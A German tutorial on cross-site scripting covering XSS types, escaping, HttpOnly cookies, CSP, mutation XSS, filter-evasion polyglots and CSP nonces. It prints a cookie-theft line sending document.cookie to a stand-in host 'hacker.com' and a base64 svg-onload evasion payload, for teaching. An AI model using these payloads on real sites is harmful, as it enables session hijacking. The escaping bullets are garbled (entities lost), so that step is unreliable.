XSS (Cross-Site Scripting)

Als Entwickler musst du es verhindern (Escaping). Wenn du User-Input anzeigst, wandle Sonderzeichen um:

• < wird zu <
• > wird zu > Der Browser zeigt dann <script> als Text an, führt es aber nicht aus. Moderne Frameworks (React, Vue, Angular) machen das automatisch ("Auto-Escaping"). Gefahr in React: dangerouslySetInnerHTML. Der Name ist Warnung genug.

1. Typen von XSS

• Stored XSS (Persistent): Das böse Skript wird in der Datenbank gespeichert (z. B. Foren-Post). JEDER Besucher wird angegriffen. (Hochkritisch).
• Reflected XSS (Non-Persistent): Das Skript ist in der URL. google.com/search?q=<script>.... Hacker muss dem Opfer den Link schicken ("Klick mal hier").
• DOM-based XSS: Das Skript kommt nie zum Server. Es passiert rein im Browser, wenn schlechtes JS URL-Parameter unsicher verarbeitet.

2. Cookie Stealing & HttpOnly

Das Hauptziel von XSS ist oft Session Hijacking. document.location='http://hacker.com/?cookie='+document.cookie; Gegenmaßnahme: Setze das HttpOnly Flag beim Session-Cookie. Dann darf JavaScript (document.cookie) das Cookie nicht mehr lesen. Der Browser sendet es zwar mit, aber XSS kann es nicht stehlen.

3. CSP (Content Security Policy)

Die ultimative Waffe. Ein HTTP-Header, der dem Browser sagt: "Lade JavaScript NUR von mysite.com. Verbiete Inline-Scripte (<script>...)". Selbst wenn der Hacker Script einschleust, weigert sich der Browser, es auszuführen. Content-Security-Policy: default-src 'self';

Mutation XSS (mXSS)

Wenn Entwickler einen Content-Sanitizer (wie DOMPurify) nutzen, um User-Input zu entschärfen, fühlen sie sich sicher. Der gefährliche Code (<script>) wird gefiltert, das harmlose HTML (<b>Hallo</b>) bleibt stehen. Aber Browser sind hilfsbereit und unberechenbar beim Parsen von "kaputtem" HTML. Bei Mutation XSS fügt der Angreifer extrem seltsam verschachteltes, absichtlich fehlerhaftes HTML ein (z. B. ungeschlossene Tags in obskuren MathML-Attributen). Der Purifier liest es, erkennt keine Gefahr und winkt es durch. Der Browser des Opfers liest das kaputte Array, korrigiert die Tags automatisch (Mutation) – und aus harmlosem Zeug mutiert direkt im DOM-Baum ein bösartiges <img src=x onerror=alert(1)>. DOMPurify muss also ständig upgedatet werden, um neue Browser-Macken ("Quirks") zu lernen.

Evasion Tricks und Polyglots

Virenscanner für XSS-Payloads (WAFs) suchen meist nach dem Wort script. Ein XSS Polyglot ist ein genial konstruierter String, der in extrem vielen verschiedenen Kontexten (egal ob er in Text input, in einem <style> oder <script> Tag, oder einem HTML-Attribut landet) valide ausbricht und zündet. Ein Hacker tippt niemals <script>. Er tippt: <svg onload=eval(atob('YWxlcnQoMSk='))>, lädt seinen Payload als Base64 kodiert ein, und zerschießt die Filter-Regeln. Oder er nutzt CSS-Expressions via background:url(javascript:...). Diese Evasions-Taktiken zwingen WAF-Engines dazu, jeden Input aufwändig dekodieren, detokenisieren und in einer JS-Engine isoliert vorauszuberechnen (Sandboxing).

CSP "Nonce" & Strictly Dynamic Architektur

Wie wehrt sich Google gegen XSS? Die starre Content Security Policy default-src 'self' reicht heute nicht, wenn moderne React-Apps ständig Inline-Scripte nachladen müssen. Googles moderne Architektur erzwingt einen CSP Nonce (Number used once). Der Webserver generiert bei jedem einzelnen Seitenaufruf einen kryptografischen Zufallswert (z.B. nonce-xd2ff). Jedes legitime <script> der App bekommt dieses Attribut hart reincodiert. Dem Browser ist nun völlig egal, aus welcher Quelle ein Skript stammt – er führt ein <script> nur noch aus, wenn es das magische Nonce des aktuellen Ticks besitzt! Schießt der Hacker via Payload ein neues Skript in den DOM, fehlt diesem natürlich die Nonce-ID und der Browser weigert sich radikal (CSP Violation Error). Dieses strict-dynamic Konzept tötet nahezu zu 100% jede herkömmliche Reflected und Stored XSS Taktik.